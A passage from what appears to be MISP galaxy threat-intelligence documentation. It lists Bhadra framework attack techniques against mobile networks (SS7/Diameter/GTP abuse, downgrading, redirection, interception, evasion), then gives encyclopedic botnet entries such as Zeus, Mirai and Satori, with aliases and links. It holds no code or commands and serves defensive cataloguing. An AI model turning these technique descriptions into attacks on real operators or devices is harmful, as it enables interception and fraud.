The tag is: misp-galaxy:bhadra-framework="Port scanning or sweeping"

Perimeter mapping

"perimeter mapping" techniques such as command-line utilities (e.g., nmap and whois), web-based lookup tools and official APIs provided by the Internet registrars that assign the ASNs using a wide range of publicly available sources.

The tag is: misp-galaxy:bhadra-framework="Perimeter mapping"

Threat intelligence gathering

"Threat intelligence gathering" using dedicated search engines (such as Censys, Shodan) to gather information about vulnerable devices or networks, or using advanced search options of traditional search engines.

The tag is: misp-galaxy:bhadra-framework="Threat intelligence gathering"

CN-specific scanning

"CN-specific scanning", used to scan nodes that are interconnected with protocols specific to the mobile communication domain (GTP, SCTP).

The tag is: misp-galaxy:bhadra-framework="CN-specific scanning"

Internal resource search

"Internal resource search" refers to an insider with access to provider internal databases abusing the information as a discovery tactic.

The tag is: misp-galaxy:bhadra-framework="Internal resource search"

UE knocking

"UE knocking" refers to the technique that scans User Equipment, similarly to how IP endpoints and core network nodes are scanned or mapped.

The tag is: misp-galaxy:bhadra-framework="UE knocking"

Exploit roaming agreements

"Exploit roaming agreements" is a technique exploited by evil mobile operators. Despite communication with operators is dependent on a roaming agreement being in place, an attacker that has gained a foothold with one operator, it can abuse the roaming agreements in place for lateral movement with all adjacent operators with agreements in place.

The tag is: misp-galaxy:bhadra-framework="Exploit roaming agreements"

Abusing interworking functionalities

"Abusing Inter-working functionalities" is a technique for adversaries to move between networks of different generations laterally

The tag is: misp-galaxy:bhadra-framework="Abusing interworking functionalities"

Exploit platform & service-specific vulnerabilities

Once an attacker has gained a foothold in an operator, it can conduct privilege escalation and process injection for gaining administrative rights, password cracking of valid user accounts on the nodes, exploit vulnerabilities in databases and file systems, and take advantage of improper configurations of routers and switches.

The tag is: misp-galaxy:bhadra-framework="Exploit platform & service-specific vulnerabilities"

SS7-based-attacks

Attacks abusing the SS7 protocol.

The tag is: misp-galaxy:bhadra-framework="SS7-based-attacks"

Diameter-based attacks

Attacks abusing the Diameter protocol.

The tag is: misp-galaxy:bhadra-framework="Diameter-based attacks"

GTP-based attacks

Attacks abusing the GTP protocol.

The tag is: misp-galaxy:bhadra-framework="GTP-based attacks"

DNS-based attacks

DNS based attacks.

The tag is: misp-galaxy:bhadra-framework="DNS-based attacks"

Pre-AKA attacks

Attack techniques that take place during the unencrypted communication that occurs prior to the AKA protocol.

The tag is: misp-galaxy:bhadra-framework="Pre-AKA attacks"

Security audit camouflage

The operating systems, software, and services used on the network nodes are prone to security vulnerabilities and installation of unwanted malware. Although operators conduct routine security audits to track and patch the vulnerabilities or remove the malware from the infected nodes, their effectiveness is not known to the public. Any means by which an adversary can remain undetected from such audits are referred to as the security audit camouflage technique.

The tag is: misp-galaxy:bhadra-framework="Security audit camouflage"

Blacklist evasion

Mobile operators employ several defenses in terms of securing their network traffic. For instance, operators maintain a whitelist of IPs and GTs of nodes from their own infrastructure and their partner operators (as agreed in IR 21), and traffic from only these nodes are processed. Similarly, a blacklist is also maintained to control spam due to configuration errors and malicious traffic. Anything from the blacklist is banned from entering the operator’s network. Such defense mechanisms may defend against unsolicited traffic from external networks (e.g., from the public Internet and SAN), but it barely serves its purpose in the case of attacks from inter-operator communications. Since most of the communication protocols are unauthenticated in nature, an aacker with knowledge of identifiers of the allowed nodes (i.e. gained during the discovery phase) can impersonate their identity. We call it the blacklist evasion technique.

The tag is: misp-galaxy:bhadra-framework="Blacklist evasion"

Middlebox misconfiguration exploits

NAT middleboxes are used for separating private networks of mobile operators from public Internet works as the second line of defense. However, studies have shown that the middleboxes deployed by operators are prone to misconfigurations that allow adversaries to infiltrate malicious traffic into mobile networks e.g., by spoofing the IP headers. Some of the other NAT vulnerabilities lie in IPv4-to-IPv6 address mapping logic, which can be exploited by adversaries to exhaust the resources, wipe out the mapping, or to assist with blacklist evasion. Adversaries use such middlebox misconfiguration exploit techniques to launch denial-of-service or over-billing attacks.

The tag is: misp-galaxy:bhadra-framework="Middlebox misconfiguration exploits"

Bypass Firewall

Adversaries (e.g., evil operators) can for example exploit the implicit trust between roaming partners as a bypass firewall technique.

The tag is: misp-galaxy:bhadra-framework="Bypass Firewall"

Bypass homerouting

SMS home routing is a defense mechanism, where an additional SMS router intervenes in external location queries for SMS deliveries, and the roaming network takes the responsibility of delivering the SMS without providing location information to the external entity. Although many operators have implemented SMS home routing solutions, there are no silver bullets. If the SMS routers are incorrectly configured, adversaries can hide SMS delivery location queries within other messages so that the SMS home router fails to process them. We refer to it as the bypass home routing technique.

The tag is: misp-galaxy:bhadra-framework="Bypass homerouting"

Downgrading

Attacks on the radio access networks are well-studied and newer generations are designed to address the weaknesses in previous generations. Usage of weak cryptographic primitives, lack of integrity protection of the radio channels, and one-sided authentication (only from the network) remain as the problem of mostly GSM only radio communication. So, radio link attackers use downgrading as an attack technique to block service over newer generations and accept to serve only in the GSM radio network. The downgrading technique works similarly in the core network, where the adversary accepts to serve only in SS7-based signaling instead of Diameterbased signaling. Using interworking functions for inter-generation communication translation could make the downgrading attacks much easier.

The tag is: misp-galaxy:bhadra-framework="Downgrading"

Redirection

Redirection technique is a variant of the downgrading technique, where an adversary forcefully routes the traffic through networks or components that are under its control. By redirecting traffic to an unsafe network, the adversary can intercept mobile communication (e.g., calls and SMS) on the RAN part. Redirection attacks on the core network result in not only communication interception, but also in billing discrepancies, as an adversary can route the calls of a mobile user from its home network through a foreign network on a higher call rate.

The tag is: misp-galaxy:bhadra-framework="Redirection"

UE Protection evasion

Protection on the UE is mainly available in the form of antivirus apps as a defense against viruses and malware that steals sensitive information (e.g., banking credentials and user passwords) or track user activities. Simple visual cues on UE (such as notifications) could also be a protection mechanism by itself. Unfortunately, mobile network-based attacks cannot be detected or defended effectively from UE’s side by traditional antivirus apps, and such attacks do not trigger any visual signs. Although there are attempts for defending against radio link attacks, including citywide studies to detect IMSI catchers, their effectiveness is still under debate. Similarly, there are recent attempts to detect signaling attacks using distance bounding protocol run from a UE. However, such solutions are still in the research phase, and their effectiveness on a large scale is still untested. To this end, the absence of robust detection and defense mechanisms on the UE is, in fact, an evasion mechanism for an adversary. We refer to them as UE protection evasion techniques.

The tag is: misp-galaxy:bhadra-framework="UE Protection evasion"

Admin credentials

Stealing legitimate admin credentials for critical nodes is beneficial for the adversary to increase its chances of persistence to the target or masquerade its activities.

The tag is: misp-galaxy:bhadra-framework="Admin credentials"

User-specific identifiers

User-specific identifiers such as IMSI and IMEI are an indicator for who owns UE with a specific subscription and where a UE is located physically. Since mobile users always keep their mobile phones physically near them, an adversary with the knowledge of these permanent identifiers will be able to determine whether or not a user is in a specific location. On the other hand, temporary identifiers (e.g., TMSI and GUTI) are used to reduce the usage of permanent identifiers like IMSI over radio channels. Although the temporary identifiers are supposed to change frequently and expected to live for a short period, research has shown that it is not the case

The tag is: misp-galaxy:bhadra-framework="User-specific identifiers"

User-specific data

Adversaries can collect several types of user-specific data, such as the content of SMS and calls, location dumps from base stations, call and billing records, and browsing-related data (such as DNS queries and unencrypted browsing sessions).

The tag is: misp-galaxy:bhadra-framework="User-specific data"

Network-specific identifiers

Adversaries aim to collect network-specific identifiers such as GTs and IPs of critical nodes and Tunnel Endpoint Identifier (TEID) of GTP tunnels from operators’ networks

The tag is: misp-galaxy:bhadra-framework="Network-specific identifiers"

Network-specific data

Adversaries may also be interested in network-specific data that are obtained mainly during the execution of discovery tactics. Such data includes, e.g., the network topology, the trust relationship between different nodes, routing metadata, and sensitive documents

The tag is: misp-galaxy:bhadra-framework="Network-specific data"

Location tracking

Attacker is able to track the location of the target end-user.

The tag is: misp-galaxy:bhadra-framework="Location tracking"

Calls eavesdropping

Attacker is able to eavesdrop on calls.

The tag is: misp-galaxy:bhadra-framework="Calls eavesdropping"

SMS interception

Attacker is able to intercept SMS messages.

The tag is: misp-galaxy:bhadra-framework="SMS interception"

Data interception

Attacker is able to intercept or modify internet traffic.

The tag is: misp-galaxy:bhadra-framework="Data interception"

Billing frauds

Billing frauds refer to various types of attacks where an adversary causes financial discrepancies for operators.

The tag is: misp-galaxy:bhadra-framework="Billing frauds"

DoS - network

The attacker can create signaling havoc in specific nodes of operators by repeatedly triggering resource allocation or revocation requests.

The tag is: misp-galaxy:bhadra-framework="DoS - network"

DoS - user

The attacker can cause denial of service to mobile users.

The tag is: misp-galaxy:bhadra-framework="DoS - user"

Identity-related attacks

Identity-based attacks involve attack techniques using userand network-specific identifiers. Identity-based attacks cause harm to the privacy of mobile users and produce fraudulent traffic that incurs a financial loss to operators. In most cases, identity-based attacks are used in impersonation, where an adversary impersonates a legitimate mobile user to the core network without possessing appropriate credentials, for example, to avail free mobile services. Most of the signaling attacks that use SS7 are also fall into this category. In other cases, identitybased attacks involve identity mapping, where the adversaries map temporary identifiers (e.g., TMSI and GUTI) to permanent identifiers (e.g., IMSI or MSISDN). In rare cases, the IMSI can further be mapped to social media identities.

The tag is: misp-galaxy:bhadra-framework="Identity-related attacks"

Botnet

botnet galaxy.

Botnet is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: Various

ADB.miner

A new botnet appeared over the weekend, and it’s targeting Android devices by scanning for open debug ports so it can infect victims with malware that mines the Monero cryptocurrency.

The botnet came to life on Saturday, February 3, and is targeting port 5555, which on devices running the Android OS is the port used by the operating system’s native Android Debug Bridge (ADB), a debugging interface that grants access to some of the operating system’s most sensitive features.

Only devices running the Android OS have been infected until now, such as smartphones, smart TVs, and TV top boxes, according to security researchers from Qihoo 360’s Network Security Research Lab [Netlab] division, the ones who discovered the botnet, which the named ADB.miner.

The tag is: misp-galaxy:botnet="ADB.miner"

Table 495. Table References
Links
https://www.bleepingcomputer.com/news/security/android-devices-targeted-by-new-monero-mining-botnet/

Bagle

Bagle (also known as Beagle) was a mass-mailing computer worm affecting Microsoft Windows. The first strain, Bagle.A, did not propagate widely. A second variant, Bagle.B, was considerably more virulent.

The tag is: misp-galaxy:botnet="Bagle"

Bagle is also known as:

Beagle
Mitglieder
Lodeight

Bagle has relationships with:

similar: misp-galaxy:malpedia="Bagle" with estimative-language:likelihood-probability="likely"

Table 496. Table References
Links
https://en.wikipedia.org/wiki/Bagle_(computer_worm)

Marina Botnet

Around the same time Bagle was sending spam messages all over the world, the Marina Botnet quickly made a name for itself. With over 6 million bots pumping out spam emails every single day, it became apparent these “hacker tools” could get out of hand very quickly. At its peak, Marina Botnet delivered 92 billion spam emails per day.

The tag is: misp-galaxy:botnet="Marina Botnet"

Marina Botnet is also known as:

Damon Briant
BOB.dc
Cotmonger
Hacktool.Spammer
Kraken

Marina Botnet has relationships with:

similar: misp-galaxy:botnet="Kraken" with estimative-language:likelihood-probability="likely"

Table 497. Table References
Links
https://en.wikipedia.org/wiki/Botnet

Torpig

Torpig, also known as Anserin or Sinowal is a type of botnet spread through systems compromised by the Mebroot rootkit by a variety of trojan horses for the purpose of collecting sensitive personal and corporate data such as bank account and credit card information. It targets computers that use Microsoft Windows, recruiting a network of zombies for the botnet. Torpig circumvents antivirus software through the use of rootkit technology and scans the infected system for credentials, accounts and passwords as well as potentially allowing attackers full access to the computer. It is also purportedly capable of modifying data hajimeon the computer, and can perform man-in-the-browser attacks.

The tag is: misp-galaxy:botnet="Torpig"

Torpig is also known as:

Sinowal
Anserin

Torpig has relationships with:

similar: misp-galaxy:malpedia="Sinowal" with estimative-language:likelihood-probability="likely"

Table 498. Table References
Links
https://en.wikipedia.org/wiki/Torpig

Storm

The Storm botnet or Storm worm botnet (also known as Dorf botnet and Ecard malware) is a remotely controlled network of "zombie" computers (or "botnet") that have been linked by the Storm Worm, a Trojan horse spread through e-mail spam. At its height in September 2007, the Storm botnet was running on anywhere from 1 million to 50 million computer systems, and accounted for 8% of all malware on Microsoft Windows computers. It was first identified around January 2007, having been distributed by email with subjects such as "230 dead as storm batters Europe," giving it its well-known name. The botnet began to decline in late 2007, and by mid-2008, had been reduced to infecting about 85,000 computers, far less than it had infected a year earlier.

The tag is: misp-galaxy:botnet="Storm"

Storm is also known as:

Nuwar
Peacomm
Zhelatin
Dorf
Ecard

Table 499. Table References
Links
https://en.wikipedia.org/wiki/Storm_botnet

Rustock

The tag is: misp-galaxy:botnet="Rustock"

Rustock is also known as:

RKRustok
Costrat

Rustock has relationships with:

similar: misp-galaxy:malpedia="Rustock" with estimative-language:likelihood-probability="likely"

Table 500. Table References
Links
https://en.wikipedia.org/wiki/Rustock_botnet

Donbot

The tag is: misp-galaxy:botnet="Donbot"

Donbot is also known as:

Buzus
Bachsoy

Donbot has relationships with:

similar: misp-galaxy:malpedia="Buzus" with estimative-language:likelihood-probability="likely"

Table 501. Table References
Links
https://en.wikipedia.org/wiki/Donbot_botnet

Cutwail

The Cutwail botnet, founded around 2007, is a botnet mostly involved in sending spam e-mails. The bot is typically installed on infected machines by a Trojan component called Pushdo.] It affects computers running Microsoft Windows. related to: Wigon, Pushdo

The tag is: misp-galaxy:botnet="Cutwail"

Cutwail is also known as:

Pandex
Mutant

Cutwail has relationships with:

similar: misp-galaxy:malpedia="Cutwail" with estimative-language:likelihood-probability="likely"

Table 502. Table References
Links
https://en.wikipedia.org/wiki/Cutwail_botnet

Akbot

Akbot was a computer virus that infected an estimated 1.3 million computers and added them to a botnet.

The tag is: misp-galaxy:botnet="Akbot"

Akbot has relationships with:

similar: misp-galaxy:tool="Akbot" with estimative-language:likelihood-probability="likely"

Table 503. Table References
Links
https://en.wikipedia.org/wiki/Akbot

Srizbi

Srizbi BotNet, considered one of the world’s largest botnets, and responsible for sending out more than half of all the spam being sent by all the major botnets combined. The botnets consist of computers infected by the Srizbi trojan, which sent spam on command. Srizbi suffered a massive setback in November 2008 when hosting provider Janka Cartel was taken down; global spam volumes reduced up to 93% as a result of this action.

The tag is: misp-galaxy:botnet="Srizbi"

Srizbi is also known as:

Cbeplay
Exchanger

Table 504. Table References
Links
https://en.wikipedia.org/wiki/Srizbi_botnet

Lethic

The Lethic Botnet (initially discovered around 2008) is a botnet consisting of an estimated 210 000 - 310 000 individual machines which are mainly involved in pharmaceutical and replica spam. At the peak of its existence the botnet was responsible for 8-10% of all the spam sent worldwide.

The tag is: misp-galaxy:botnet="Lethic"

Lethic has relationships with:

similar: misp-galaxy:malpedia="Lethic" with estimative-language:likelihood-probability="likely"

Table 505. Table References
Links
https://en.wikipedia.org/wiki/Lethic_botnet

Xarvester

The tag is: misp-galaxy:botnet="Xarvester"

Xarvester is also known as:

Rlsloup
Pixoliz

Table 506. Table References
Links
https://krebsonsecurity.com/tag/xarvester/

Sality

Sality is the classification for a family of malicious software (malware), which infects files on Microsoft Windows systems. Sality was first discovered in 2003 and has advanced over the years to become a dynamic, enduring and full-featured form of malicious code. Systems infected with Sality may communicate over a peer-to-peer (P2P) network for the purpose of relaying spam, proxying of communications, exfiltrating sensitive data, compromising web servers and/or coordinating distributed computing tasks for the purpose of processing intensive tasks (e.g. password cracking). Since 2010, certain variants of Sality have also incorporated the use of rootkit functions as part of an ongoing evolution of the malware family. Because of its continued development and capabilities, Sality is considered to be one of the most complex and formidable forms of malware to date.

The tag is: misp-galaxy:botnet="Sality"

Sality is also known as:

Sector
Kuku
Sality
SalLoad
Kookoo
SaliCode
Kukacka

Sality has relationships with:

similar: misp-galaxy:malpedia="Sality" with estimative-language:likelihood-probability="likely"

Table 507. Table References
Links
https://en.wikipedia.org/wiki/Sality

Mariposa

The Mariposa botnet, discovered December 2008, is a botnet mainly involved in cyberscamming and denial-of-service attacks. Before the botnet itself was dismantled on 23 December 2009, it consisted of up to 12 million unique IP addresses or up to 1 million individual zombie computers infected with the "Butterfly (mariposa in Spanish) Bot", making it one of the largest known botnets.

The tag is: misp-galaxy:botnet="Mariposa"

Table 508. Table References
Links
https://en.wikipedia.org/wiki/Mariposa_botnet

Conficker

Conficker, also known as Downup, Downadup and Kido, is a computer worm targeting the Microsoft Windows operating system that was first detected in November 2008. It uses flaws in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet, and has been unusually difficult to counter because of its combined use of many advanced malware techniques. The Conficker worm infected millions of computers including government, business and home computers in over 190 countries, making it the largest known computer worm infection since the 2003 Welchia.

The tag is: misp-galaxy:botnet="Conficker"

Conficker is also known as:

DownUp
DownAndUp
DownAdUp
Kido

Conficker has relationships with:

similar: misp-galaxy:malpedia="Conficker" with estimative-language:likelihood-probability="likely"

Table 509. Table References
Links
https://en.wikipedia.org/wiki/Conficker

Waledac

Waledac, also known by its aliases Waled and Waledpak, was a botnet mostly involved in e-mail spam and malware. In March 2010 the botnet was taken down by Microsoft.

The tag is: misp-galaxy:botnet="Waledac"

Waledac is also known as:

Waled
Waledpak

Table 510. Table References
Links
https://en.wikipedia.org/wiki/Waledac_botnet

Maazben

A new botnet, dubbed Maazben, has also been observed and is also growing rapidly. MessageLabs Intelligence has been tracking the growth of Maazben since its infancy in late May and early June. Its dominance in terms of the proportion of spam has been accelerating in the last 30 days from just over 0.5% of all spam, peaking at 4.5% of spam when it is most active. Currently spam from Maazben accounts for approximately 1.4% of all spam, but this is likely to increase significantly over time, particularly since both overall spam per minute sent and spam per bot per minute are increasing.

The tag is: misp-galaxy:botnet="Maazben"

Table 511. Table References
Links
https://www.symantec.com/connect/blogs/evaluating-botnet-capacity

Onewordsub

The tag is: misp-galaxy:botnet="Onewordsub"

Table 512. Table References
Links
https://www.botnets.fr/wiki/OneWordSub

Gheg

Tofsee, also known as Gheg, is another botnet analyzed by CERT Polska. Its main job is to send spam, but it is able to do other tasks as well. It is possible thanks to the modular design of this malware – it consists of the main binary (the one user downloads and infects with), which later downloads several additional modules from the C2 server – they modify code by overwriting some of the called functions with their own. An example of some actions these modules perform is spreading by posting click-bait messages on Facebook and VKontakte (Russian social network).

The tag is: misp-galaxy:botnet="Gheg"

Gheg is also known as:

Tofsee
Mondera

Gheg has relationships with:

similar: misp-galaxy:malpedia="Tofsee" with estimative-language:likelihood-probability="likely"

Table 513. Table References
Links
https://www.cert.pl/en/news/single/tofsee-en/

Nucrypt

The tag is: misp-galaxy:botnet="Nucrypt"

Table 514. Table References
Links
https://www.botnets.fr/wiki.old/index.php?title=Nucrypt&setlang=en

Wopla

The tag is: misp-galaxy:botnet="Wopla"

Table 515. Table References
Links
https://www.botnets.fr/wiki.old/index.php/Wopla

Asprox

The Asprox botnet (discovered around 2008), also known by its aliases Badsrc and Aseljo, is a botnet mostly involved in phishing scams and performing SQL injections into websites in order to spread malware.

The tag is: misp-galaxy:botnet="Asprox"

Asprox is also known as:

Badsrc
Aseljo
Danmec
Hydraflux

Asprox has relationships with:

similar: misp-galaxy:malpedia="Asprox" with estimative-language:likelihood-probability="likely"

Table 516. Table References
Links
https://en.wikipedia.org/wiki/Asprox_botnet

Spamthru

Spam Thru represented an expontential jump in the level of sophistication and complexity of these botnets, harnessing a 70,000 strong peer to peer botnet seeded with the Spam Thru Trojan. Spam Thru is also known by the Aliases Backdoor.Win32.Agent.uu, Spam-DComServ and Troj_Agent.Bor. Spam Thru was unique because it had its own antivirus engine designed to remove any other malicious programs residing in the same infected host machine so that it can get unlimited access to the machine’s processing power as well as bandwidth. It also had the potential to be 10 times more productive than most other botnets while evading detection because of in-built defences.

The tag is: misp-galaxy:botnet="Spamthru"

Spamthru is also known as:

Spam-DComServ
Covesmer
Xmiler

Table 517. Table References
Links
http://www.root777.com/security/analysis-of-spam-thru-botnet/

Gumblar

Gumblar is a malicious JavaScript trojan horse file that redirects a user’s Google searches, and then installs rogue security software. Also known as Troj/JSRedir-R this botnet first appeared in 2009.

The tag is: misp-galaxy:botnet="Gumblar"

Table 518. Table References
Links
https://en.wikipedia.org/wiki/Gumblar

BredoLab

The Bredolab botnet, also known by its alias Oficla, was a Russian botnet mostly involved in viral e-mail spam. Before the botnet was eventually dismantled in November 2010 through the seizure of its command and control servers, it was estimated to consist of millions of zombie computers.

The tag is: misp-galaxy:botnet="BredoLab"

BredoLab is also known as:

Oficla

BredoLab has relationships with:

similar: misp-galaxy:tool="Oficla" with estimative-language:likelihood-probability="likely"

Table 519. Table References
Links
https://en.wikipedia.org/wiki/Bredolab_botnet

Grum

The Grum botnet, also known by its alias Tedroo and Reddyb, was a botnet mostly involved in sending pharmaceutical spam e-mails. Once the world’s largest botnet, Grum can be traced back to as early as 2008. At the time of its shutdown in July 2012, Grum was reportedly the world’s 3rd largest botnet, responsible for 18% of worldwide spam traffic.

The tag is: misp-galaxy:botnet="Grum"

Grum is also known as:

Tedroo
Reddyb

Table 520. Table References
Links
https://en.wikipedia.org/wiki/Grum_botnet

Mega-D

The Mega-D, also known by its alias of Ozdok, is a botnet that at its peak was responsible for sending 32% of spam worldwide.

The tag is: misp-galaxy:botnet="Mega-D"

Mega-D is also known as:

Ozdok

Table 521. Table References
Links
https://en.wikipedia.org/wiki/Mega-D_botnet

Kraken

The Kraken botnet was the world’s largest botnet as of April 2008. Researchers say that Kraken infected machines in at least 50 of the Fortune 500 companies and grew to over 400,000 bots. It was estimated to send 9 billion spam messages per day. Kraken botnet malware may have been designed to evade anti-virus software, and employed techniques to stymie conventional anti-virus software.

The tag is: misp-galaxy:botnet="Kraken"

Kraken is also known as:

Kracken

Kraken has relationships with:

similar: misp-galaxy:botnet="Marina Botnet" with estimative-language:likelihood-probability="likely"

Table 522. Table References
Links
https://en.wikipedia.org/wiki/Kraken_botnet

Festi

The Festi botnet, also known by its alias of Spamnost, is a botnet mostly involved in email spam and denial of service attacks.

The tag is: misp-galaxy:botnet="Festi"

Festi is also known as:

Spamnost

Table 523. Table References
Links
https://en.wikipedia.org/wiki/Festi_botnet

Vulcanbot

Vulcanbot is the name of a botnet predominantly spread in Vietnam, apparently with political motives. It is thought to have begun in late 2009.

The tag is: misp-galaxy:botnet="Vulcanbot"

Table 524. Table References
Links
https://en.wikipedia.org/wiki/Vulcanbot

LowSec

The tag is: misp-galaxy:botnet="LowSec"

LowSec is also known as:

LowSecurity
FreeMoney
Ring0.Tools

TDL4

Alureon (also known as TDSS or TDL-4) is a trojan and bootkit created to steal data by intercepting a system’s network traffic and searching for: banking usernames and passwords, credit card data, PayPal information, social security numbers, and other sensitive user data. Following a series of customer complaints, Microsoft determined that Alureon caused a wave of BSoDs on some 32-bit Microsoft Windows systems. The update, MS10-015,triggered these crashes by breaking assumptions made by the malware author(s).

The tag is: misp-galaxy:botnet="TDL4"

TDL4 is also known as:

TDSS
Alureon

TDL4 has relationships with:

similar: misp-galaxy:malpedia="Alureon" with estimative-language:likelihood-probability="likely"

Table 525. Table References
Links
https://en.wikipedia.org/wiki/Alureon#TDL-4

Zeus

Zeus, ZeuS, or Zbot is a Trojan horse malware package that runs on versions of Microsoft Windows. While it can be used to carry out many malicious and criminal tasks, it is often used to steal banking information by man-in-the-browser keystroke logging and form grabbing. It is also used to install the CryptoLocker ransomware. Zeus is spread mainly through drive-by downloads and phishing schemes. First identified in July 2007 when it was used to steal information from the United States Department of Transportation, it became more widespread in March 2009. In June 2009 security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of such companies as the Bank of America, NASA, Monster.com, ABC, Oracle, Play.com, Cisco, Amazon, and BusinessWeek. Similarly to Koobface, Zeus has also been used to trick victims of tech support scams into giving the scam artists money through pop-up messages that claim the user has a virus, when in reality they might have no viruses at all. The scammers may use programs such as Command prompt or Event viewer to make the user believe that their computer is infected.

The tag is: misp-galaxy:botnet="Zeus"

Zeus is also known as:

Zbot
ZeuS
PRG
Wsnpoem
Gorhax
Kneber

Zeus has relationships with:

similar: misp-galaxy:tool="Zeus" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:banker="Zeus" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Zeus" with estimative-language:likelihood-probability="likely"

Table 526. Table References
Links
https://en.wikipedia.org/wiki/Zeus_(malware)

Kelihos

The Kelihos botnet, also known as Hlux, is a botnet mainly involved in spamming and the theft of bitcoins.

The tag is: misp-galaxy:botnet="Kelihos"

Kelihos is also known as:

Hlux

Kelihos has relationships with:

similar: misp-galaxy:malpedia="Kelihos" with estimative-language:likelihood-probability="likely"

Table 527. Table References
Links
https://en.wikipedia.org/wiki/Kelihos_botnet

Ramnit

Ramnit is a Computer worm affecting Windows users. It was estimated that it infected 800 000 Windows PCs between September and December 2011. The Ramnit botnet was dismantled by Europol and Symantec securities in 2015. In 2015, this infection was estimated at 3 200 000 PCs.

The tag is: misp-galaxy:botnet="Ramnit"

Ramnit has relationships with:

similar: misp-galaxy:banker="Ramnit" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Ramnit" with estimative-language:likelihood-probability="likely"

Table 528. Table References
Links
https://en.wikipedia.org/wiki/Botnet

Zer0n3t

The tag is: misp-galaxy:botnet="Zer0n3t"

Zer0n3t is also known as:

Fib3rl0g1c
Zer0n3t
Zer0Log1x

Chameleon

The Chameleon botnet is a botnet that was discovered on February 28, 2013 by the security research firm, spider.io. It involved the infection of more than 120,000 computers and generated, on average, 6 million US dollars per month from advertising traffic. This traffic was generated on infected systems and looked to advertising parties as regular end users which browsed the Web, because of which it was seen as legitimate web traffic. The affected computers were all Windows PCs with the majority being private PCs (residential systems).

The tag is: misp-galaxy:botnet="Chameleon"

Table 529. Table References
Links
https://en.wikipedia.org/wiki/Chameleon_botnet

Mirai

Mirai (Japanese for "the future", 未来) is a malware that turns networked devices running Linux into remotely controlled "bots" that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as IP cameras and home routers. The Mirai botnet was first found in August 2016 by MalwareMustDie, a whitehat malware research group, and has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs’s web site, an attack on French web host OVH, and the October 2016 Dyn cyberattack.

The tag is: misp-galaxy:botnet="Mirai"

Mirai has relationships with:

similar: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Mirai (ELF)" with estimative-language:likelihood-probability="likely"
variant-of: misp-galaxy:botnet="Owari" with estimative-language:likelihood-probability="likely"
variant-of: misp-galaxy:botnet="Sora" with estimative-language:likelihood-probability="likely"

Table 530. Table References
Links
https://en.wikipedia.org/wiki/Mirai_(malware)
https://researchcenter.paloaltonetworks.com/2018/09/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/
https://www.bleepingcomputer.com/news/security/mirai-iot-malware-uses-aboriginal-linux-to-target-multiple-platforms/
https://www.bleepingcomputer.com/news/security/new-mirai-variant-comes-with-27-exploits-targets-enterprise-devices/

XorDDoS

XOR DDOS is a Linux trojan used to perform large-scale DDoS

The tag is: misp-galaxy:botnet="XorDDoS"

Table 531. Table References
Links
https://en.wikipedia.org/wiki/Xor_DDoS

Satori

According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants.Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot.The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869.Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.

The tag is: misp-galaxy:botnet="Satori"

Satori is also known as:

Okiru

Satori has relationships with:

similar: misp-galaxy:tool="Satori" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Satori" with estimative-language:likelihood-probability="likely"

Table 532. Table References
Links
https://www.bleepingcomputer.com/news/security/satori-botnet-has-sudden-awakening-with-over-280-000-active-bots/
https://blog.fortinet.com/2017/12/12/rise-of-one-more-mirai-worm-variant

BetaBot

The tag is: misp-galaxy:botnet="BetaBot"

BetaBot has relationships with:

similar: misp-galaxy:malpedia="BetaBot" with estimative-language:likelihood-probability="likely"

Hajime

Hajime (meaning ‘beginning’ in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown. It is worth mentioning that in the past, the Hajime IoT botnet was never used for massive DDoS attacks, and its existance was a mystery for many researchers, as the botnet only gathered infected devices but almost never did anything with them (except scan for other vulnerable devices).

The tag is: misp-galaxy:botnet="Hajime"

Hajime has relationships with:

similar: misp-galaxy:malpedia="Hajime" with estimative-language:likelihood-probability="likely"

Table 533. Table References
Links
https://www.bleepingcomputer.com/news/security/hajime-botnet-makes-a-comeback-with-massive-scan-for-mikrotik-routers/
https://en.wikipedia.org/wiki/Hajime_(malware)
https://securelist.com/hajime-the-mysterious-evolving-botnet/78160/

Muhstik

The botnet is exploiting the CVE-2018-7600 vulnerability —also known as Drupalgeddon 2— to access a specific URL and gain the ability to execute commands on a server running the Drupal CMS. At the technical level, Netlab says Muhstik is built on top of Tsunami, a very old strain of malware that has been used for years to create botnets by infecting Linux servers and smart devices running Linux-based firmware. Crooks have used Tsunami initially for DDoS attacks, but its feature-set has greatly expanded after its source code leaked online. The Muhstik version of Tsunami, according to a Netlab report published today, can launch DDoS attacks, install the XMRig Monero miner, or install the CGMiner to mine Dash cryptocurrency on infected hosts. Muhstik operators are using these three payloads to make money via the infected hosts.

The tag is: misp-galaxy:botnet="Muhstik"

Table 534. Table References
Links
https://www.bleepingcomputer.com/news/security/big-iot-botnet-starts-large-scale-exploitation-of-drupalgeddon-2-vulnerability/

Hide and Seek

Security researchers have discovered the first IoT botnet malware strain that can survive device reboots and remain on infected devices after the initial compromise. This is a major game-changing moment in the realm of IoT and router malware. Until today, equipment owners could always remove IoT malware from their smart devices, modems, and routers by resetting the device. The reset operation flushed the device’s flash memory, where the device would keep all its working data, including IoT malware strains. But today, Bitdefender researchers announced they found an IoT malware strain that under certain circumstances copies itself to /etc/init.d/, a folder that houses daemon scripts on Linux-based operating systems —like the ones on routers and IoT devices. By placing itself in this menu, the device’s OS will automatically start the malware’s process after the next reboot.

